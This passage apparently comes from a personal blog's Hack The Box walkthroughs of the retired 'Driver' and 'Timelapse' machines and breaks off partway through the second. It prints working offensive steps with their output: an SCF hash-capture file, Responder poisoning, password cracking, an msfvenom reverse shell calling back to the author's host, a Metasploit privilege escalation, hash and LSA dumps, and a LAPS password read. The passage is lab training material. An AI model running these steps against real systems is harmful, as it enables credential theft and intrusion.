[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Auth User: admin
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2023/03/17 15:24:05 Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 151] [--> http://10.129.95.238/images/]
/Images (Status: 301) [Size: 151] [--> http://10.129.95.238/Images/]
/index.php (Status: 200) [Size: 4279]
/Index.php (Status: 200) [Size: 4279]
/index.php (Status: 200) [Size: 4279]
Progress: 9187 / 9230 (99.53%)
===============================================================
2023/03/17 15:24:19 Finished
===============================================================

Catching Hashes

Ok, this next bit is amazing and reminds me why I love security so much. So, based on the article listed >>here<< we can create a special file. When uploaded to the printer and processed, it makes the printer reach out to our machine for a file. What’s amazing about this though is that it sends its NTLM hash with the request (probably explaining it wrong). So if we run responder when uploading the file, we can capture the NTLM hash and then gain a foothold.

First, we need to craft the file. As you can see below, I have created a file called attack.scf and added my IP address to the IconFile path.

┌──(kali㉿kali)-[~/Driver]
└─$ cat attack.scf
[Shell]
Command=2
IconFile=\\10.10.14.126\haxez
[Taskbar]
Command=ToggleDesktop

Next, we need to set up Responder to listen on our tun0 interface. This is pretty simple, just run responder with the ‘-I’ flag and the name of the interface.

┌──(kali㉿kali)-[~/Driver]
└─$ sudo responder -I tun0

Then go and upload the file to the printer and watch it light up like a Christmas tree. I’ve included a screenshot and the tool output because of woooo colourful terminal and because I might need the hash later.

Driver Responder
┌──(kali㉿kali)-[~/Driver]
└─$ sudo responder -I tun0
[sudo] password for kali:
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.3.0
To support this project:
Patreon -> https://www.patreon.com/PythonResponder
Paypal -> https://paypal.me/PythonResponder
Author: Laurent Gaffie ([email protected])
To kill this script hit CTRL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
MDNS [ON]
DNS [ON]
DHCP [OFF]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
RDP server [ON]
DCE-RPC server [ON]
WinRM server [ON]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Force ESS downgrade [OFF]
[+] Generic Options:
Responder NIC [tun0]
Responder IP [10.10.14.126]
Responder IPv6 [dead:beef:2::107c]
Challenge set [random]
Dont Respond To Names ['ISATAP']
[+] Current Session Variables:
Responder Machine Name [WIN-90O8CXYSD47]
Responder Domain Name [4H5R.LOCAL]
Responder DCE-RPC Port [45794]
[+] Listening for events...
[SMB] NTLMv2-SSP Client : 10.129.95.238
[SMB] NTLMv2-SSP Username : DRIVER\tony
[SMB] NTLMv2-SSP Hash : tony::DRIVER:359b130c9e47eb6b:BD5851B33F56BC9CD76AF506A78366F3:010100000000000000468C63E658D901EF4AA899FD3936930000000002000800340048003500520001001E00570049004E002D00390030004F003800430058005900530044003400370004003400570049004E002D00390030004F00380043005800590053004400340037002E0034004800350052002E004C004F00430041004C000300140034004800350052002E004C004F00430041004C000500140034004800350052002E004C004F00430041004C000700080000468C63E658D90106000400020000000800300030000000000000000000000000200000FFBC664A5D788CDEDE83E208303BA948FFE5B58083E86BE170165EE23D6402760A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310034002E00310032003600000000000000000000000000
[*] Skipping previously captured hash for DRIVER\tony

Now that we have the hash we can feed it to our pet kitty and see if it can crack it. I used the rockyou.txt wordlist and it cracked it pretty quickly. As you can see below, the password is ‘liltony’. I wonder if his girlfriend gave him that name.

┌──(kali㉿kali)-[~/Driver]
└─$ sudo hashcat -m 5600 driver.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
TONY::DRIVER:359b130c9e47eb6b:bd5851b33f56bc9cd76af506a78366f3:010100000000000000468c63e658d901ef4aa899fd3936930000000002000800340048003500520001001e00570049004e002d00390030004f003800430058005900530044003400370004003400570049004e002d00390030004f00380043005800590053004400340037002e0034004800350052002e004c004f00430041004c000300140034004800350052002e004c004f00430041004c000500140034004800350052002e004c004f00430041004c000700080000468c63e658d90106000400020000000800300030000000000000000000000000200000ffbc664a5d788cdede83e208303ba948ffe5b58083e86be170165ee23d6402760a001000000000000000000000000000000000000900220063006900660073002f00310030002e00310030002e00310034002e00310032003600000000000000000000000000:liltony

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: TONY::DRIVER:359b130c9e47eb6b:bd5851b33f56bc9cd76af...000000
Time.Started.....: Fri Mar 17 15:51:31 2023 (0 secs)
Time.Estimated...: Fri Mar 17 15:51:31 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 516.6 kH/s (0.44ms) @ Accel:256 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 31744/14344385 (0.22%)
Rejected.........: 0/31744 (0.00%)
Restore.Point....: 30720/14344385 (0.21%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: !!!!!! -> 225566
Hardware.Mon.#1..: Util: 25%
Started: Fri Mar 17 15:51:07 2023
Stopped: Fri Mar 17 15:51:32 2023

Driver Foothold

This is incredibly fun! if you watch IppSec videos when doing boxes, do you pause it before he runs the command so that you can run it first and see if you can remember it and if it works? just me? Anyway, we can now run Crackmapexec with credentials and enumerate shares on the host.

┌──(kali㉿kali)-[~/Driver]
└─$ crackmapexec smb 10.129.95.238 --shares -u 'tony' -p 'liltony'
SMB 10.129.95.238 445 DRIVER [*] Windows 10 Enterprise 10240 x64 (name:DRIVER) (domain:DRIVER) (signing:False) (SMBv1:True)
SMB 10.129.95.238 445 DRIVER [+] DRIVER\tony:liltony
SMB 10.129.95.238 445 DRIVER [+] Enumerated shares
SMB 10.129.95.238 445 DRIVER Share Permissions Remark
SMB 10.129.95.238 445 DRIVER ----- ----------- ------
SMB 10.129.95.238 445 DRIVER ADMIN$ Remote Admin
SMB 10.129.95.238 445 DRIVER C$ Default share
SMB 10.129.95.238 445 DRIVER IPC$ Remote IPC

However, I also noticed on our Nmap scan that port 5989 was open. We can now authenticate by connecting to the host with Evil-WinRM. We can also now grab the user flag from Tony’s desktop (Thanks Tony). I’m genuinely having a blast with this box. It is a lot of fun and even though it’s retired, I would recommend you go and give it a go. Lots of fun.

┌──(kali㉿kali)-[~/Driver]
└─$ evil-winrm -i 10.129.95.238 -u 'tony' -p 'liltony'
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\tony\Documents> cd ..\Desktop
*Evil-WinRM* PS C:\Users\tony\Desktop> type user.txt
6d3▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓2d7

Driver Host Enumeration

Once connected to the host with Evil-WinRM it was time to perform some enumeration. Every step we take, we have to stop and enumerate. Also, I just love seeing that pretty little pea below. How can you not find it adorable? Text output wouldn’t do you justice so you get a screenshot and tool output.

Driver WinPEAS

WinPEAS kindly tells us that the user has a PowerShell history file and that it might be worth checking out. You can see this under the line that says Found Windows Files. Then underneath that, you can see the contents of the file.

ÉÍÍÍÍÍÍÍÍÍ͹ Found Windows Files
File: C:\Users\tony\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt*Evil-WinRM* PS C:\Users\tony\Documents> type C:\Users\tony\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
Add-Printer -PrinterName "RICOH_PCL6" -DriverName 'RICOH PCL6 UniversalDriver V4.23' -PortName 'lpt1:'
ping 1.1.1.1
ping 1.1.1.1

Privilege Escalation

While the history file doesn’t give us credentials, it does point us in the right direction. When there is a history file, the commands within it are seldom for our entertainment. It is to point us in the right direction. RICOH printers have a known local privilege escalation vulnerability due to the permissions on the drivers.

Printer Exploit
Printer Exploit

Metasploit has a module for exploiting this vulnerability. If we create a payload using msfvenom and upload it to the host. We can then create a handler in Metasploit to catch our reverse shell.

┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.126 LPORT=9001 -f exe -o msf.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: msf.exe

As you can see below, I am using the multi-handler to catch our 64-bit payload.

msf6 exploit(windows/winrm/winrm_script_exec) > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost tun0
lhost => 10.10.14.126
msf6 exploit(multi/handler) > set lport 9001
lport => 9001
msf6 exploit(multi/handler) > options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.10.14.126 yes The listen address (an interface may be specified)
LPORT 9001 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf6 exploit(multi/handler) > run

Then we upload the payload via Evil-WinRM and execute it.

*Evil-WinRM* PS C:\Users\tony\Documents> upload msf.exe
Info: Uploading msf.exe to C:\Users\tony\Documents\msf.exe
Data: 9556 bytes of 9556 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Users\tony\Documents> ./msf.exe

And we now have a Meterpreter session on the box.

msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : DRIVER
OS : Windows 10 (10.0 Build 10240).
Architecture : x64
System Language : en_US
Meterpreter : x64/windows
meterpreter >

Then we background our session by typing background or using ‘ctrl z’ . Then we need to search for ‘ricoh’. You can see from the output below that we need to use option 1 which allows us to perform privilege escalation.

msf6 exploit(multi/handler) > search ricoh
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- -----
0 exploit/windows/ftp/ricoh_dl_bof 2012-03-01 normal Yes Ricoh DC DL-10 SR10 FTP USER Command Buffer Overflow
1 exploit/windows/local/ricoh_driver_privesc 2020-01-22 normal Yes Ricoh Driver Privilege Escalation
Interact with a module by name or index. For example info 1, use 1 or use exploit/windows/local/ricoh_driver_privesc
msf6 exploit(multi/handler) > use 1
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp

Attempting to exploit this results in a catastrophic error as you can see from the screenshot below.

Driver reverse shell

What now?

I was now intensely following along with IppSec’s video. I swear, sometimes he makes us do things even though he knows it won’t work. Just to force that education into our brains. So I went through the whole process again with a 32-bit payload and that didn’t work either. You can see the different sessions below, I won’t bore you with going through the payload generation again.

msf6 exploit(multi/handler) > sessions -i
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows DRIVER\tony @ DRIVER 10.10.14.126:9001 -> 10.129.95.238:49435 (10.129.95.238)
2 meterpreter x64/windows DRIVER\tony @ DRIVER 10.10.14.126:9001 -> 10.129.95.238:49436 (10.129.95.238)
Services

We can now migrate to this process to something interactive.

meterpreter > migrate 4244
[*] Migrating from 4636 to 4244...
[*] Migration completed successfully.
meterpreter > getpid
Current pid: 4244
meterpreter >

Then if we run the exploit again we should now get our shell back as NT AUTHORITY which means we have successfully elevated our privledges.

msf6 exploit(windows/local/ricoh_driver_privesc) > sessions -i
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows DRIVER\tony @ DRIVER 10.10.14.126:9001 -> 10.129.95.238:49435 (10.129.95.238)
2 meterpreter x86/windows DRIVER\tony @ DRIVER 10.10.14.126:9001 -> 10.129.95.238:49436 (10.129.95.238)
3 meterpreter x86/windows DRIVER\tony @ DRIVER 10.10.14.126:9002 -> 10.129.95.238:49439 (10.129.95.238)
4 meterpreter x64/windows NT AUTHORITY\SYSTEM @ DRIVER 10.10.14.126:9003 -> 10.129.95.238:49441 (10.129.95.238)

Then we can run hash dump just for fun and because I want those hashes.

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d1256cff8b5b5fdb8c327d3b6c3f5017:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
tony:1003:aad3b435b51404eeaad3b435b51404ee:dfdb5b520de42ca5d1b84ce61553d085:::

We can try and do an LSA dump too but it doesn’t seem to have anything.

msf6 post(windows/gather/lsa_secrets) > exploit
[*] Executing module against DRIVER
[*] Obtaining boot key...
[*] Obtaining Lsa key...
[*] Vista or above system
[+] Key: DefaultPassword
Decrypted Value: liltony
[+] Key: DPAPI_SYSTEM
Decrypted Value: ,h? bh>h'jh:]Pr/
[*] Writing to loot...
[*] Data saved in: /root/.msf4/loot/20230317172207_default_10.129.95.238_registry.lsa.sec_447392.txt
[*] Post module execution complet

Finally, we can interact with our session, drop to shell and grab the root flag from the administrator desktop.

C:\Users\Administrator\Desktop>type root.txt
type root.txt
302▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓903

Driver Review

Wow, Driver is actually an incredible box to learn on. IppSec’s video was a huge help although he held out on us until the very end. I learnt a lot from this video but I also noticed that I was able to do a lot more on my own. I used to struggle a lot with Windows machines but I think I’m starting to get a basic process down. I’m looking forward to doing more Windows boxes honestly. Getting bored of doing Linux ones even though I love Linux. Anyway, that’s all for today.

Hack The Box – Timelapse

Hello world, welcome to haxez. In this post, I’m going to be going through the Timelapse box on Hack The Box. This is a Windows box which acts as a domain controller. I’ve not read too much about it yet but I believe we have to crack a zip. Once on the box, we have to find a hidden password to elevate our privileges. I believe it has something to do with LAPS (local administrative password solution) due to the name.

Timelapse Enumeration

First, I sent a ping request to ensure that the box had come online.

┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/Timelapse]
└──╼ [★]$ ping 10.129.243.210
PING 10.129.243.210 (10.129.243.210) 56(84) bytes of data.
64 bytes from 10.129.243.210: icmp_seq=1 ttl=127 time=12.0 ms

With the box up and responding, I started a Nmap scan to see what services were listening on the box. Services are the windows and doors of a computer. A misconfigured service could grant us access to the box much like an unlocked window or door would give us access to a house.

┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/Timelapse]
└──╼ [★]$ sudo nmap -sC -sV -A -p- 10.129.243.210
[sudo] password for haxez:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-17 07:05 GMT
Nmap scan report for 10.129.243.210
Host is up (0.014s latency).
Not shown: 65517 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-03-17 15:07:47Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ldapssl?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
3269/tcp open globalcatLDAPssl?
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
| ssl-cert: Subject: commonName=dc01.timelapse.htb
| Not valid before: 2021-10-25T14:05:29
|_Not valid after: 2022-10-25T14:25:29
|_http-title: Not Found
| tls-alpn:
|_ http/1.1
|_ssl-date: 2023-03-17T15:09:22+00:00; +7h59m59s from scanner time.
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49696/tcp open msrpc Microsoft Windows RPC
53755/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 2 hops
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
|_clock-skew: mean: 7h59m58s, deviation: 0s, median: 7h59m58s
| smb2-time:
| date: 2023-03-17T15:08:45
|_ start_date: N/A
TRACEROUTE (using port 139/tcp)
HOP RTT ADDRESS
1 13.36 ms 10.10.14.1
2 13.44 ms 10.129.243.210
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 241.23 seconds

SMB Shares

The Timelapse box has ports 139 and 445 open, this is probably a good place to start enumerating. Using the tool Crackmapexec, we can see what SMB shares are available on the host.

┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/Timelapse]
└──╼ [★]$ crackmapexec smb 10.129.243.210 --shares -u 'haxez' -p ''
SMB 10.129.243.210 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
SMB 10.129.243.210 445 DC01 [+] timelapse.htb\haxez:
SMB 10.129.243.210 445 DC01 [+] Enumerated shares
SMB 10.129.243.210 445 DC01 Share Permissions Remark
SMB 10.129.243.210 445 DC01 ----- ----------- ------
SMB 10.129.243.210 445 DC01 ADMIN$ Remote Admin
SMB 10.129.243.210 445 DC01 C$ Default share
SMB 10.129.243.210 445 DC01 IPC$ READ Remote IPC
SMB 10.129.243.210 445 DC01 NETLOGON Logon server share
SMB 10.129.243.210 445 DC01 Shares READ
SMB 10.129.243.210 445 DC01 SYSVOL Logon server share

We can achieve the same thing with smbclient only without displaying what we have permission to access. This could be useful if you’re in an exam and one of your tools decides it’s not going to work.

┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/Timelapse]
└──╼ [★]$ smbclient -L //10.129.243.210/
Password for [WORKGROUP\haxez]:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Shares Disk
SYSVOL Disk Logon server share
SMB1 disabled -- no workgroup available

We can then connect to the share and poke around using smbclient. Once connected, we find two directories named Dev and HelpDesk. Within the Dev directory, there is an interesting file called winrm_backup.zip.

┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/Timelapse]
└──╼ [★]$ smbclient \\\\10.129.243.210\\shares -U 'haxez'
Password for [WORKGROUP\haxez]:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Mon Oct 25 16:39:15 2021
.. D 0 Mon Oct 25 16:39:15 2021
Dev D 0 Mon Oct 25 20:40:06 2021
HelpDesk D 0 Mon Oct 25 16:48:42 2021
6367231 blocks of size 4096. 1242290 blocks available
smb: \> cd Dev
smb: \Dev\> dir
. D 0 Mon Oct 25 20:40:06 2021
.. D 0 Mon Oct 25 20:40:06 2021
winrm_backup.zip A 2611 Mon Oct 25 16:46:42 2021
6367231 blocks of size 4096. 1249905 blocks available
smb: \Dev\> cd ..\HelpDesk
smb: \HelpDesk\> dir
. D 0 Mon Oct 25 16:48:42 2021
.. D 0 Mon Oct 25 16:48:42 2021
LAPS.x64.msi A 1118208 Mon Oct 25 15:57:50 2021
LAPS_Datasheet.docx A 104422 Mon Oct 25 15:57:46 2021
LAPS_OperationsGuide.docx A 641378 Mon Oct 25 15:57:40 2021
LAPS_TechnicalSpecification.docx A 72683 Mon Oct 25 15:57:44 2021
6367231 blocks of size 4096. 1248140 blocks available

Lets Get Cracking

The zip file that we downloaded is password protected. Fortunately, there is an awesome tool called zip2john which generates a hash of the zip file. This hash can then be fed to our friend John. The command below runs zip2john against the file and appends the output to a file called ziphash.txt.

┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/Timelapse]
└──╼ [★]$ sudo /usr/bin/zip2john winrm_backup.zip >> ziphash.txt

Next, can then crack the password for the zip file using John and the rockyou.txt wordlist. As you can see below, the password appears to be ‘supremelegacy’

┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/Timelapse]
└──╼ [★]$ sudo john ziphash.txt --wordlist:/home/haxez/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
supremelegacy (winrm_backup.zip/legacyy_dev_auth.pfx)
1g 0:00:00:00 DONE (2023-03-17 07:28) 3.703g/s 12864Kp/s 12864Kc/s 12864KC/s surfroxy154..supergay01
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Now, we can extract the zip file and see what juicy secrets hide inside. We can extract the contents of the zip file with the unzip command. Next, we will then get prompted for the password which we now know thanks to John.

┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/Timelapse]
└──╼ [★]$ unzip winrm_backup.zip
Archive: winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password:
inflating: legacyy_dev_auth.pfx

Interestingly, the output appears to be a pfx file. This too appears to be password protected.

┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/Timelapse]
└──╼ [★]$ ls
legacyy_dev_auth.pfx smb.txt winrm_backup.zip ziphash.txt
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/Timelapse]
└──╼ [★]$ openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out key.pem -nodes
Enter Import Password:
Mac verify error: invalid password?

Cracking On

In order to use the private key and certificate from the PFX file, we will need to crack it first. Fortunately, there is another cool tool called pfx2john which creates a crackable hash from a PFX file.

┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/Timelapse]
└──╼ [★]$ python3 /usr/share/john/pfx2john.py legacyy_dev_auth.pfx >> pfx.hash

Admittedly, I had trouble with this on Parrot and had to switch to Kali. For some reason, when generating the hash on Parrot, it wasn’t recognised when trying to crack it with John. I ran the same command on Kali, and then cracked the hash on Parrot.

┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/Timelapse]
└──╼ [★]$ sudo john /media/sf_OneDrive/Hack\ The\ Box/Machines/Timelapse/legacyy_dev_auth.pfx.hash --wordlist:/home/haxez/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (pfx [PKCS12 PBE (.pfx, .p12) (SHA-1 to SHA-512) 256/256 AVX2 8x])
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
thuglegacy (legacyy_dev_auth.pfx)
1g 0:00:00:37 DONE (2023-03-17 07:53) 0.02682g/s 86688p/s 86688c/s 86688C/s thuglife06..thsco04
Use the "--show" option to display all of the cracked passwords reliably
Session completed

As you can see from the output above, the password for the file is thuglegacy. Once we have used OpenSSL to spit out the private key and certificate files, we should be able to use it to connect to the box.

┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/Timelapse]
└──╼ [★]$ openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out key.pem -nodes
Enter Import Password:
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/Timelapse]
└──╼ [★]$ openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out key.cert
Enter Import Password:

Timelapse Foothold With Evil-WinRM

With the files above, we should now be able to login to the box via Evil-WinRM. We give ‘evil-winrm’ the ‘-c’ flag to specify the certificate and the ‘-k’ file to specify the private key.

┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/Timelapse]
└──╼ [★]$ evil-winrm -S -i 10.129.243.210 -c key.cert -k key.pem
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Warning: SSL enabled
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\legacyy\Documents> whoami
timelapse\legacyy

We can now of course grab the user flag from the desktop of the legacy user that we connected with.

*Evil-WinRM* PS C:\Users\legacyy\Desktop> dir
Directory: C:\Users\legacyy\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 3/17/2023 7:59 AM 34 user.txt
*Evil-WinRM* PS C:\Users\legacyy\Desktop> type user.txt
472▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓a7e

Timelapse Enumeration

To successfully hack anything, we need information. Information is a hacker’s most important resource. That’s why we cycle back through to the enumeration stage whenever we make progress. Did you get the user? time to enumerate! did you move laterally to another user? time to enumerate. Trying to hack without information is like trying to live without air.

*Evil-WinRM* PS C:\Users\legacyy\Desktop> upload /home/haxez/Timelapse/winPEAS.bat
Info: Uploading /home/haxez/Timelapse/winPEAS.bat to C:\Users\legacyy\Desktop\winPEAS.bat
Progress: 56% : |▓▓▓▓▒░░░░░|
Data: 47928 bytes of 47928 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Users\legacyy\Desktop>
*Evil-WinRM* PS C:\Users\legacyy\Desktop> ./winPEAS.bat

Interestingly, it found the history file but didn’t find anything suspicious inside it. I’m not sure if this is a function of WinPEAS, I thought it was but ultimately running WinPEAS didn’t really give me much to go on.

Directory of C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine
03/04/2022 12:46 AM 434 ConsoleHost_history.txt
1 File(s) 434 bytes
0 Dir(s) 6,885,826,560 bytes free

However, if we manually go in and check the history file then we can see some sensitive information (a username and password) has been recorded. As you can see below, the user ran some commands and included their password of ‘E3R$Q62¹²p7PLlC%KWaxuaV’, we can also see that their username is ‘svc_deploy’.

*Evil-WinRM* PS C:\Users\legacyy\Desktop> type C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit

Lateral Movement

Now that we have another user’s credentials, let’s log in as them via WinRm and see if they have access to anything that we can use to get Administrator on this machine.

┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/Timelapse]
└──╼ [★]$ evil-winrm -S -i 10.129.243.210 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV'
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Warning: SSL enabled
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_deploy\Documents>

I did run Bloodhound to enumerate the active directory but I don’t think it’s needed for this box. I didn’t find much on it and the shortest path to Domain Admin didn’t appear to be possible with our current privileges. Also, yes I ran it on Kali because my Parrot box is using a newer version of Neo4j which appears to break Bloodhound. Think I might have to stick with Kali from here on out and just not update anything.

Bloodhound

Fortunately, by checking what groups we’re in we can see that we’re part of the ‘LAPS_Readers’ group which should give us the ability to read the local administrator’s password.

*Evil-WinRM* PS C:\Users\svc_deploy\Documents> net user svc_deploy
User name svc_deploy
Full Name svc_deploy
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires NeverPassword last set 10/25/2021 12:12:37 PM
Password expires Never
Password changeable 10/26/2021 12:12:37 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 10/25/2021 12:25:53 PM
Logon hours allowed All
Local Group Memberships *Remote Management Use
Global Group memberships *LAPS_Readers *Domain Users
The command completed successfully.

If we run the following command we can get the administrator password.

*Evil-WinRM* PS C:\Users\svc_deploy\Documents> Get-ADComputer -Filter 'ObjectClass -eq "computer"' -Property *
AccountExpirationDate :
accountExpires : 9223372036854775807
AccountLockoutTime :
AccountNotDelegated : False
AllowReversiblePasswordEncryption : False
AuthenticationPolicy : {}
AuthenticationPolicySilo : {}
BadLogonCount : 0
badPasswordTime : 0
badPwdCount : 0
CannotChangePassword : False
CanonicalName : timelapse.htb/Domain Controllers/DC01
--snip--
ms-Mcs-AdmPwd : AGF7R+z)1;x0S6Q$)OK853$6
--snip--

